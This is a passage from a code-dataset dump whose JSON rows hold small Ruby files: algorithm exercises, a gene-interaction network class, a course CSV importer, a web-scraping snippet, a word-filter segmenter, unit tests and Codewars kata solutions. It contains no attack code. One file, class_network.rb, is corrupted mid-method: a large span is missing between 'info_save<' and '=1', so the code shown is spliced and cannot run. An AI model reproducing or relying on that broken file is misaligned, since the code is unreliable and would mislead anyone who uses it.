end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1135,"cells":{"blob_id":{"kind":"string","value":"a998faf1e0e76cd29b45faef9041653c51e58946"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"m11o/algoruby"},"path":{"kind":"string","value":"/src/section3/code3_2.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":214,"string":"214"},"score":{"kind":"number","value":2.9375,"string":"2.9375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"n = gets.chomp.to_i\nv = gets.chomp.to_i\n\narray = []\n\n(0..(n - 1)).each { array << gets.chomp.to_i }\n\nfound_id = nil\narray.each_with_index do |item, index|\n next if item != v\n\n found_id = index\nend\n\nputs found_id\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1136,"cells":{"blob_id":{"kind":"string","value":"fd53814b94b3fdb2e20b0033a09d9c2b5a9660b5"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"stephepush/ruby-enumerables-hash-practice-nyc-pigeon-organizer-lab-nyc04-seng-ft-041920"},"path":{"kind":"string","value":"/nyc_pigeon_organizer.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":964,"string":"964"},"score":{"kind":"number","value":3.4375,"string":"3.4375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["LicenseRef-scancode-unknown-license-reference","LicenseRef-scancode-public-domain"],"string":"[\n \"LicenseRef-scancode-unknown-license-reference\",\n \"LicenseRef-scancode-public-domain\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"def nyc_pigeon_organizer(data)\n # write your code here!\n\torganized_data = {} # Used to store the names of the pigeons and assign values\n\n\t # Iterates through top layer of Hash\n\tdata.each do|color_gender_lives, attribute_hash|\n\n\t\t# Iterate through middle layer of hash\n\t\tattribute_hash.each do |attribute, name_array|\n\n name_array.each do |name|\n\t\t\t\t#if our new hash does not include the name, then we create the name as a key in the hash and make the value a hash ()\n\n\t\t\t\tif organized_data[name] == nil # If this statement returns true by being false\n\t\t\t\t\torganized_data[name] = {} # This creates a hash with a key of [\"name\"] and a value of an empty hash\n\t\t\t\tend\n\n\t\t\t\tif organized_data[name][color_gender_lives] == nil # Reserved for making the array if the attributes do not exist\n\t\t\t\t\torganized_data[name][color_gender_lives] = []\n\t\t\t\tend\n organized_data[name][color_gender_lives] << attribute.to_s\n end\n\t\tend\n\tend\n\n\treturn organized_data\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1137,"cells":{"blob_id":{"kind":"string","value":"4736b1811c994e6865d253485074ecfb92243be6"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"AnVales/Use-Web-APIs"},"path":{"kind":"string","value":"/class_network.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":14587,"string":"14,587"},"score":{"kind":"number","value":3.3125,"string":"3.3125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require './class_helper.rb'\r\nrequire './class_gene_info.rb'\r\nrequire 'json'\r\nrequire 'rest-client'\r\n\r\nclass Network\r\n\r\n ########## CLASS ##########\r\n # this class has one object which must be a subnetwork of Arabidopsis if the hypothesis is right\r\n\r\n ########## ATTRIBUTE ##########\r\n # network: a hash with the direct and indirect interactions of the input genes ONLY,\r\n # the key is a gene and the value the genes with direct and indirect interaction with this gene\r\n # keggid_network: a hash with the Kegg id of the interactions (atribute network),\r\n # the key is the same as in network and the value all the kegg ids\r\n # pathwayname_network: a hash with the pathway names in Kegg of the interactions (atribute network),\r\n # the key is the same as in network and the value all the pathways name in Kegg\r\n # goid_network: a hash with the GO id of the interactions (atribute network),\r\n # the key is the same as in network and the value all the GO ids\r\n # termname_network: a hash with the term name in GO of the interactions (atribute network),\r\n # the key is the same as in network and the value all the term names in GO\r\n\r\n ########## METHODS ##########\r\n # rec_fillinteractions: recursive function that searches the interactions between the genes\r\n # dfs_fillinteractions: searches the interactions between genes calling the rec_fillinteractions functions, \r\n # fill_keggid_network: fill keggid_network attribute \r\n # fill_pathwayname_network: fill pathwayname_network attribute\r\n # fill_goid_network: fill goid_network attribute\r\n # fill_termname_network: fill termname_network attribute\r\n # self.fill_api_information: fill all the information obtained with API: keggid_network, pathwayname_network, goid_network, termname_network\r\n\r\n ########## ATTRIBUTE ##########\r\n attr_accessor :network\r\n attr_accessor :keggid_network\r\n attr_accessor :pathwayname_network\r\n attr_accessor :goid_network\r\n attr_accessor :termname_network\r\n\r\n ########## METHODS ##########\r\n\r\n # initialize \r\n def initialize (params = {}) \r\n @network = params.fetch(:network, nil)\r\n @keggid_network = params.fetch(:keggid_network, nil)\r\n @pathwayname_network = params.fetch(:pathwayname_network, nil)\r\n @goid_network = params.fetch(:goid_network, nil)\r\n @termname_network = params.fetch(:termname_network, nil)\r\n end\r\n\r\n # rec_fillinteractions\r\n def rec_fillinteractions(interaction_genes, input_info, gene, visited, genes_list, counter, depth_level)\r\n # this methods needs: gene for search interaction(gene), a list with the visited genes(visited), the list where genes are stored(genes_list),\r\n # a counter of the times that this method is executed(counter), and a variable that indicates the maximum number of times that this is executed(depth_level)\r\n visited[gene] = true\r\n counter = counter + 1\r\n interaction_genes.direct_interactions[gene].each do |gen_value|\r\n if not visited[gen_value] and counter < depth_level # only if this gene isn't visited before\r\n if not input_info.input_genes[gen_value].nil?\r\n genes_list << gen_value\r\n end\r\n rec_fillinteractions(interaction_genes, input_info, gen_value, visited,genes_list, counter, depth_level) # call rec_fillinteractions inside rec_fillinteractions\r\n end\r\n end\r\n end\r\n\r\n\r\n # dfs_fillinteractions\r\n def dfs_fillinteractions(interaction_genes,input_info, depth_level=interaction_genes.direct_interactions.keys.length) #by default,but depth_level but it can be changed when it's executed\r\n # It can seems to a be a huge depth, but this only allows to search each gene interactions once and it's very fast because it's a hash\r\n @network = {}\r\n visited = {}\r\n interaction_genes.direct_interactions.each do |key, value|\r\n if not input_info.input_genes[key].nil?\r\n visited[key] = false\r\n genes_list = []\r\n rec_fillinteractions(interaction_genes,input_info, key, visited, genes_list, 0, depth_level) # calls rec_fillinteractions for each gene (key) with interactions (value)\r\n @network[key] = genes_list\r\n end\r\n end\r\n end\r\n\r\n\r\n # fill_keggid_network\r\n def fill_keggid_network(network_genes_dict)\r\n # this needs the hash with the objects of class gene_info\r\n @keggid_network={}\r\n @network.each do |gen_a,gen_array|\r\n # a list that will save kegg_id information \r\n info_save=[]\r\n if not network_genes_dict[gen_a].nil?\r\n # seach kegg_id information of each gene\r\n array_info = network_genes_dict[gen_a].kegg_id \r\n array_info.each do |each_info|\r\n if not each_info=='unknown'\r\n info_save<=1\r\n f.puts\r\n i=i+1\r\n f.puts \"Network #{i}\"\r\n f.puts \"Number of genes: #{1+gene_array.length.to_i}\"\r\n if gene_array.length.to_i==1\r\n f.puts \"The genes that interact are #{gene_a} and #{genes_net}.\"\r\n elsif gene_array.length.to_i>=2\r\n f.puts \"The genes that interact are #{gene_a}, #{genes_net}.\"\r\n end\r\n\r\n # write the report in singular if .length==1, in plural if .length>=2\r\n if keggid_network[gene_a].length==1\r\n f.puts \"The genes of this network are involved in a pathway, the kegg id is #{keggid_net}.\"\r\n f.puts \"The name in kegg is #{pathwayname_net}.\"\r\n elsif keggid_network[gene_a].length>1\r\n f.puts \"The genes of this network are involved in some pathways, kegg id are #{keggid_net}.\"\r\n f.puts \"The names in kegg are #{pathwayname_net}.\"\r\n end\r\n\r\n if goid_network[gene_a].length==1\r\n f.puts \"The OG id is #{goid_net}.\"\r\n f.puts \"The name in OG is #{termname_net}.\"\r\n elsif goid_network[gene_a].length>1\r\n f.puts \"The OG ids are #{goid_net}.\"\r\n f.puts \"The names in OG are #{termname_net}.\"\r\n end\r\n f.puts \r\n end\r\n\r\n end\r\n puts \"There are #{i} networks\"\r\n end\r\n end\r\n\r\n\r\n\r\nend\r\n\r\n\r\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1138,"cells":{"blob_id":{"kind":"string","value":"31d808457e681debaf2a9a23a92ce618348b3a97"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"giokro/Ruby-Developement"},"path":{"kind":"string","value":"/fix-ois-p2/lib/courses.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1065,"string":"1,065"},"score":{"kind":"number","value":3.109375,"string":"3.109375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# module\nmodule Courses\n require 'time'\n require 'date'\n require 'course'\n require 'csv_importer'\n require 'parse_helper'\n def self.find_course(id)\n course = Course.find_by(id: id)\n raise \"Course with id #{course_id} not found in database\" unless course\n\n course\n rescue StandardError => e\n warn e.message\n end\n\n def self.import_from_csv(file_name)\n puts \"Importing courses from #{file_name}:\"\n table = CsvImporter.to_table(file_name)\n table.each { |item| add_new_course(item) }\n puts ''\n end\n\n def self.print_all\n puts 'All courses sorted by start date:'\n Course.order(:start_date).each { |course| puts course.to_s }\n puts ''\n end\n\n private_class_method def self.add_new_course(item)\n date = ParseHelper.parse_date(item['start date dd.mm.YYYY'])\n if Course.exists?(name: item['name'], start_date: date)\n warn \"#{item['name']} #{date} already in database. Will not add\"\n nil\n else\n Course.create(name: item['name'], start_date: date)\n puts \"#{item['name']} #{date} added\"\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1139,"cells":{"blob_id":{"kind":"string","value":"6ad3d06ca1dc40558495a7a08de613a73e4abdfe"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"Steph0088/array-equals"},"path":{"kind":"string","value":"/lib/array_equals.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":361,"string":"361"},"score":{"kind":"number","value":3.5625,"string":"3.5625"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# Determines if the two input arrays have the same count of elements\n# and the same integer values in the same exact order\n\ndef array_equals(array1, array2)\n if array1.length == array2.length\n number = array1.length\n number.times do |i|\n if array1[i] != array2[i] \n return false\n end\n end\n return true\n end \n return false\nend\n\n\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1140,"cells":{"blob_id":{"kind":"string","value":"ed4f9dd9581e84df82acf76473c8d59b07e5c94a"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"sheleg/Projects"},"path":{"kind":"string","value":"/Test projects/testRuby/test.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":305,"string":"305"},"score":{"kind":"number","value":2.5625,"string":"2.5625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'httparty'\nrequire 'nokogiri'\nrequire 'open-uri'\n\npage = HTTParty.get(\"https://newyork.craigslist.org/search/pet?s=0\")\ndoc = Nokogiri::HTML(page)\n\npets_array = []\n\ntem = doc.css('.content').css('row').css('hdrlnk').map do |a|\n post_name = a.text\n pets_array.push(post_name)\nend\n\nputs pets_array\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1141,"cells":{"blob_id":{"kind":"string","value":"f5cd24ac6288d9608851cb312d800bc9400b3715"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"cbastable/japanese"},"path":{"kind":"string","value":"/lib/tasks/jlpt_words_links.rake"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1338,"string":"1,338"},"score":{"kind":"number","value":2.578125,"string":"2.578125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"namespace :db do\n desc \"Fill database with jlpt word data\"\n task populate_word_links: :environment do\n make_word_collections\n make_word_kanjis\n end\nend\n\ndef make_word_collections\n WordCollection.destroy_all\n Collection.all.each do |collection|\n data_dir = \"#{Dir.pwd}/db/data/#{collection.name}/words\"\n Dir.glob(\"#{data_dir}/*.txt\") do |my_text_file|\n puts \"working on: #{collection.name} & #{my_text_file}...\"\n contents = File.read(\"#{my_text_file}\")\n word = Word.find_by_word(contents)\n WordCollection.create!(word_id: word.id, collection_id: collection.id)\n puts \"Added #{contents} to #{collection.name}\"\n end #Dir.glob\n end #collection.all.each\nend #make_word_lists\n\ndef make_word_kanjis\n WordKanji.destroy_all\n Collection.all.each do |collection|\n collection.words.all.each do |w|\n puts \"wordking on: #{collection.name} | #{w.word}\"\n Dir.glob(\"db/data/#{collection.name}/*.txt\") do |my_text_file|\n puts \"working on: #{collection.name} & #{my_text_file}...\"\n contents = File.read(\"#{my_text_file}\")\n kanji = Kanji.find_by_kanji(contents)\n WordKanji.create!(kanji_id: kanji.id, word_id: w.id) if w.word.include? kanji.kanji\n end #Dir.glob\n end #collection.words.all.each\n end #collection.all.each\nend #make_word_lists"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1142,"cells":{"blob_id":{"kind":"string","value":"8dbef678c0f1952c757a1b689cc0f8e5b888566e"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"MagneticRegulus/intro_to_prog"},"path":{"kind":"string","value":"/09MoreStuff/2_variable_pointers.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1229,"string":"1,229"},"score":{"kind":"number","value":4.25,"string":"4.25"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"a = \"hi there\" # => \"hi there\"\nb = a # => \"hi there\"\na = \"not here\" # => \"not here\" (reassigns variable due to \"=\")\n# b still returns \"hi there\"\n# diagram: https://d2aw5xe2jldque.cloudfront.net/books/ruby/images/variables_pointers1.jpg\n\nc = \"hi there\" # => \"hi there\"\nd = c # => \"hi there\"\nc << \", Bob\"# => \"hi there, Bob\" (mutates the caller & modified existing string)\n# d now returns \"hi there, Bob\"\n# diagram: https://d2aw5xe2jldque.cloudfront.net/books/ruby/images/variables_pointers2.jpg\n\n# Variables are pointers to physical space in memory\n\nx = [1, 2, 3, 3] # => [1, 2, 3, 3]\ny = x # => [1, 2, 3, 3]\nz = x.uniq # => [1, 2, 3] (returns only the uniq items in the array)\n# x still returns [1, 2, 3, 3]\nz = x.uniq! # => [1, 2, 3] (destructive)\n# x now returns [1, 2, 3]\n# y also returns [1, 2, 3]\n\ndef test(f)\n f.map { |letter| \"I like the letter: #{letter}\" }\nend # => :test\n\ne = ['a', 'b', 'c']\ntest(e) # => [\"I like the letter: a\", \"I like the letter: b\", \"I like the letter: c\"]\n# e => the original array\n\ndef test_b(h)\n h.map! { |letter| \"I like the letter: #{letter}\" }\nend # => :test\n\ng = ['a', 'b', 'c']\ntest_b(g) # => # => [\"I like the letter: a\", \"I like the letter: b\", \"I like the letter: c\"]\n# g => new array\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1143,"cells":{"blob_id":{"kind":"string","value":"f0ea13add21295137e25655c0a0c2d59a2e77f7d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"xentek/hyperdrive"},"path":{"kind":"string","value":"/spec/hyperdrive/docs_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1728,"string":"1,728"},"score":{"kind":"number","value":2.578125,"string":"2.578125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"# encoding: utf-8\n\nrequire 'spec_helper'\n\ndescribe Hyperdrive::Docs do\n before do\n @resources = { :thing => default_resource }\n @docs = Hyperdrive::Docs.new(@resources)\n end\n\n it 'generates a header with size 1 as default' do\n @docs.header('Thing Resource').must_equal \"\\n\\n# Thing Resource\\n\\n\"\n end\n\n it 'raises an error if header size is less than 1' do\n proc { @docs.header('Thing Resource', 0) }.must_raise ArgumentError\n end\n\n it 'raises an error if header size is greater than 6' do\n proc { @docs.header('Thing Resource', 8) }.must_raise ArgumentError \n end\n\n it 'generates a paragraph' do\n @docs.paragraph('Description of Thing Resource').must_equal \"Description of Thing Resource\\n\\n\"\n end \n\n it 'generates bold text' do\n @docs.bold('name').must_equal '__name__'\n end\n\n it 'generates code formatted text' do\n @docs.code('/things').must_equal '`/things`'\n end\n\n it 'generates a bullet with nest level of 1 as default' do\n @docs.bullet('test').must_equal \" - test\\n\"\n end\n\n it 'raises an error if bullet indention size is less than 1' do\n proc {@docs.bullet('test', 0)}.must_raise ArgumentError\n end\n\n it 'raises an error if bullet indention size is greater than 3' do\n proc {@docs.bullet('test', 4)}.must_raise ArgumentError\n end\n\n it 'generates a nested bulleted list' do\n @docs.bullet('test', 2).must_equal \" - test\\n\"\n end\n\n it 'generates a nested bullet code span' do\n @docs.bullet('`/things`', 2).must_equal \" - `/things`\\n\"\n end\n\n it 'generates nested bulleted bold text' do\n @docs.bullet('__id__', 3).must_equal \" - __id__\\n\"\n end\n\n it 'outputs a string of the completed doc' do\n @docs.output.must_be_kind_of String\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1144,"cells":{"blob_id":{"kind":"string","value":"2dc12d9d6342c1f0bd5ac6a09ae9f85880bf4f4d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"hakimu/roman_numerals"},"path":{"kind":"string","value":"/test_app.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":3148,"string":"3,148"},"score":{"kind":"number","value":3.265625,"string":"3.265625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'minitest/autorun'\nrequire 'minitest/rg'\n\nrequire_relative 'app'\n\nclass RomanNumeralTest < Minitest::Unit::TestCase\n\n def test_find_roman\n expected_1 = \"I\"\n expected_5 = \"V\"\n expected_10 = \"X\"\n assert_equal expected_1, RomanNumeral.new(1).find_roman\n assert_equal expected_5, RomanNumeral.new(5).find_roman\n assert_equal expected_10, RomanNumeral.new(10).find_roman\n assert_equal \"VI\", RomanNumeral.new(6).find_roman\n assert_equal \"use tens method\", RomanNumeral.new(11).find_roman\n assert_equal \"use hundreds method\", RomanNumeral.new(111).find_roman\n assert_equal \"use thousands method\", RomanNumeral.new(1111).find_roman\n end\n\n def test_break_down_number\n expected_one = [6]\n expected_two = [6,6]\n expected_three = [6,7,8]\n expected_four = [1,2,3,4]\n assert_equal expected_one, RomanNumeral.new(6).break_down_number\n assert_equal expected_two, RomanNumeral.new(66).break_down_number\n assert_equal expected_three, RomanNumeral.new(678).break_down_number\n assert_equal expected_four, RomanNumeral.new(1234).break_down_number\n end\n\n def test_number_of_digits\n assert_equal \"VI\", RomanNumeral.new(6).number_of_digits\n assert_equal \"use tens method\", RomanNumeral.new(66).number_of_digits\n assert_equal \"use hundreds method\", RomanNumeral.new(678).number_of_digits\n assert_equal \"use thousands method\", RomanNumeral.new(1234).number_of_digits\n end\n\n def test_ones_method\n assert_equal \"I\", RomanNumeral.new(1).ones_method\n assert_equal \"II\", RomanNumeral.new(2).ones_method\n assert_equal \"III\", RomanNumeral.new(3).ones_method\n assert_equal \"IV\", RomanNumeral.new(4).ones_method\n assert_equal \"V\", RomanNumeral.new(5).ones_method\n assert_equal \"VI\", RomanNumeral.new(6).ones_method\n assert_equal \"VII\", RomanNumeral.new(7).ones_method\n assert_equal \"VIII\", RomanNumeral.new(8).ones_method\n assert_equal \"VIIII\", RomanNumeral.new(9).ones_method\n end\n\n def test_tens_method\n assert_equal \"XI\", RomanNumeral.new(11).tens_method\n assert_equal \"XII\", RomanNumeral.new(12).tens_method\n assert_equal \"XIII\", RomanNumeral.new(13).tens_method\n assert_equal \"XIV\", RomanNumeral.new(14).tens_method\n assert_equal \"XV\", RomanNumeral.new(15).tens_method\n assert_equal \"XVI\", RomanNumeral.new(16).tens_method\n assert_equal \"XVII\", RomanNumeral.new(17).tens_method\n assert_equal \"XVIII\", RomanNumeral.new(18).tens_method\n assert_equal \"XVIIII\", RomanNumeral.new(19).tens_method\n assert_equal \"XX\", RomanNumeral.new(20).tens_method\n assert_equal \"XXI\", RomanNumeral.new(21).tens_method\n assert_equal \"XXII\", RomanNumeral.new(22).tens_method\n assert_equal \"XXIII\", RomanNumeral.new(23).tens_method\n assert_equal \"XXIV\", RomanNumeral.new(24).tens_method\n assert_equal \"XXV\", RomanNumeral.new(25).tens_method\n assert_equal \"XXVI\", RomanNumeral.new(26).tens_method\n assert_equal \"XXVII\", RomanNumeral.new(27).tens_method\n assert_equal \"XXVIII\", RomanNumeral.new(28).tens_method\n assert_equal \"XXVIIII\", RomanNumeral.new(29).tens_method\n assert_equal \"XXX\", RomanNumeral.new(30).tens_method\n end\n\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1145,"cells":{"blob_id":{"kind":"string","value":"5959f2a88de730413b6fa5fc5bc0370d417a0ea8"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"tian-xiaobo/filter_word"},"path":{"kind":"string","value":"/lib/filter_word/rseg.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":3484,"string":"3,484"},"score":{"kind":"number","value":2.625,"string":"2.625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"# encoding: utf-8\n\nrequire 'singleton'\nrequire 'net/http'\nrequire 'yaml'\n\nrequire File.join(File.dirname(__FILE__), 'engines/engine')\nrequire File.join(File.dirname(__FILE__), 'engines/dict')\nrequire File.join(File.dirname(__FILE__), 'engines/english')\n\nrequire File.join(File.dirname(__FILE__), 'filters/fullwidth')\nrequire File.join(File.dirname(__FILE__), 'filters/symbol')\nrequire File.join(File.dirname(__FILE__), 'filters/conjunction')\n\nmodule FilterWord\n class Rseg\n include RsegEngine\n include RsegFilter\n\n def initialize(input, model)\n @input,@model, @words = input, model, []\n end\n \n def segment\n init_operate\n @words = []\n @input.chars.each do |origin|\n char = filter(origin)\n process(char, origin)\n end\n \n process(:symbol, '')\n @words\n end\n\n private\n\n def init_operate\n @chinese_dictionary_path = chinese_dictionary_path\n init_engines\n init_filters\n end\n\n def filter(char)\n result = char\n @filters.each do |klass|\n result = klass.filter(result)\n end\n result\n end\n \n def process(char, origin)\n nomatch = true\n word = ''\n @english_dictionary ||= load_english_dictionary(english_yaml_path)\n \n engines.each do |engine|\n next unless engine.running?\n match, word = engine.process(char)\n if match \n nomatch = false\n else\n word = '' if engine.class == English && !@english_dictionary.include?(word)\n engine.stop \n end\n end\n \n if nomatch\n if word == ''\n # 没切出来的就当正常的词,不输出\n # @words << origin unless char == :symbol \n reset_engines\n else\n reset_engines\n @words << word if word.is_a?(String) if word.size >= 2\n # 我们只需要脏词完全匹配,不需要检查下文\n # reprocess(word) if word.is_a?(Array)\n # re-process current char\n process(char, origin)\n end\n end\n end\n \n def reprocess(word)\n last = word.pop\n\n word.each do |char|\n process(char, char)\n end\n \n process(:symbol, :symbol) # 把词加进来\n process(last, last) # 继续分析词的最后一个字符\n end\n\n def reset_engines\n engines.each do |engine|\n engine.run\n end\n end\n \n def engines=(engines)\n @engines ||= engines\n end\n\n def engines\n @engines\n end\n\n def init_filters\n @filters = [Fullwidth, Symbol]\n end\n \n def init_engines\n @engines ||= [Dict, English].map do |engine_klass|\n if engine_klass == Dict\n engine_klass.new do\n @dict_path = @chinese_dictionary_path \n end\n else \n engine_klass.new\n end\n end\n end\n\n def load_english_dictionary(path)\n begin\n YAML.load(File.read(path))\n rescue => e\n puts e\n exit\n end\n end\n\n def english_yaml_path\n if @model.nil?\n File.join(Rails.root, 'config','filter_word','harmonious_english.yml')\n else\n File.join(Rails.root, 'config','filter_word',\"#{@model}_harmonious_english.yml\")\n end\n end\n\n def chinese_dictionary_path\n if @model.nil?\n File.join(Rails.root, 'config','filter_word','harmonious.hash')\n else\n File.join(Rails.root, 'config','filter_word',\"#{@model}_harmonious.hash\")\n end\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1146,"cells":{"blob_id":{"kind":"string","value":"cc8f6638dafe00b0370c4ee2ad122fa1c03b1ded"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"eirinikos/ruby-bites"},"path":{"kind":"string","value":"/_codewars.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":12052,"string":"12,052"},"score":{"kind":"number","value":3.96875,"string":"3.96875"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# codewars kata: which are in?\n# http://www.codewars.com/kata/which-are-in/train/ruby\n\ndef in_array(array1, array2)\n string = array2.join(' ')\n array1.select { |substring| string.include? substring }.sort!\nend\n\n\n# codewars kata: deodorant evaporator\n# http://www.codewars.com/kata/deodorant-evaporator/train/ruby\n\ndef evaporator(content, evap_per_day, threshold)\n days = 0\n threshold_amount = threshold.fdiv(100) * content\n until content < threshold_amount do\n content -= evap_per_day.fdiv(100) * content\n days += 1\n end\n days\nend\n\n\n# codewars kata: operations with sets\n# http://www.codewars.com/kata/operations-with-sets/train/ruby\n\ndef process_2arrays(array_1, array_2)\n shared = array_1 & array_2\n shared_count = shared.count\n\n array_1_unshared = array_1 - shared\n array_2_unshared = array_2 - shared\n\n count_1 = array_1_unshared.count\n count_2 = array_2_unshared.count\n unshared = array_1_unshared + array_2_unshared\n unshared_count = unshared.count\n\n [].push(shared_count, unshared_count, count_1, count_2)\nend\n\n# refactored...\ndef process_2arrays(array_1, array_2)\n shared = (array_1 & array_2).count\n\n array_1_unshared = array_1.count - shared\n array_2_unshared = array_2.count - shared\n\n unshared = array_1_unshared + array_2_unshared\n\n [shared, unshared, array_1_unshared, array_2_unshared]\nend\n\n\n# codewars kata: next version\n# http://www.codewars.com/kata/next-version/train/ruby\n\ndef nextVersion(version)\n return version.to_i.next.to_s if !version.include? '.'\n\n top, bottom = version.split('.', 2)\n bottom = bottom.split('.').join\n\n new_bottom = bottom.to_i.next.to_s\n\n if new_bottom.length > bottom.length\n top = top.to_i.next\n new_bottom = new_bottom.chars.drop(1).join\n end\n\n [top, new_bottom.chars.join('.')].join '.'\nend\n\n\n# codewars kata: averages of numbers\n# http://www.codewars.com/kata/averages-of-numbers/train/ruby\n\ndef averages(array)\n return [] if !array.is_a? Array\n averages_array = []\n array.each_index do |index|\n unless array[index + 1].nil?\n sum = (array[index] + array[index + 1])\n sum % 2 == 0 ? averages_array << sum / 2 : averages_array << sum / 2.0\n end\n end\n averages_array\nend\n\n\n# codewars kata: shortest word\n# http://www.codewars.com/kata/shortest-word/train/ruby\n\ndef find_short(string)\n string.split.map(&:length).sort.first\nend\n\n\n# codewars kata: histogram - h1\n# http://www.codewars.com/kata/histogram-h1/train/ruby\n\ndef histogram(results)\n array = []\n results.each_with_index do |rolls, index|\n if rolls > 0\n array.unshift(\"#{index + 1}|#{\"#\" * rolls} #{rolls}\\n\")\n else\n array.unshift(\"#{index + 1}|#{\"#\" * rolls}\\n\")\n end\n end\n\n array.join\nend\n\n\n# codewars kata: number climber\n# http://www.codewars.com/kata/number-climber/train/ruby\n\ndef climb(n)\n array = []\n\n until n < 1\n array.push(n)\n n = n / 2\n end\n\n array.reverse\nend\n\n\n# codewars kata: powers of 2\n# http://www.codewars.com/kata/powers-of-2/train/ruby\n\ndef powers_of_two(n)\n (0..n).map{ |number| 2**number }\nend\n\n\n# codewars kata: colour association\n# http://www.codewars.com/kata/56d6b7e43e8186c228000637/train/ruby\n\ndef colour_association(array)\n array.map{|pair| Hash[pair.first, pair.last]}\nend\n\n\n# codewars kata: rotate an array matrix\n# http://www.codewars.com/kata/525a566985a9a47bc8000670/train/ruby\n\ndef rotate(matrix, direction)\n if direction == \"clockwise\"\n matrix.transpose.map{|i| i.reverse}\n else\n rotated = []\n matrix.transpose.map{|i| i.reverse}.flatten.reverse.each_slice(matrix.size){\n |a| rotated << a}\n rotated\n end\nend\n\n# refactored...\ndef rotate(matrix, direction)\n if direction == \"clockwise\"\n matrix.transpose.map(&:reverse)\n else\n matrix.transpose.reverse\n end\nend\n\n\n# codewars kata: matrix addition\n# http://www.codewars.com/kata/526233aefd4764272800036f/train/ruby\n\ndef matrixAddition(a, b)\n c = [] << a << b\n c.transpose.map{ |i| i.transpose }.map{ |s|\n s.map{ |p| p.reduce(&:+)}}\nend\n\n\n# codewars kata: surrounding primes for a value\n# http://www.codewars.com/kata/560b8d7106ede725dd0000e2/train/ruby\nrequire 'prime'\n\ndef prime_bef_aft(num)\n primes = []\n Prime.each(num){ |n| primes << 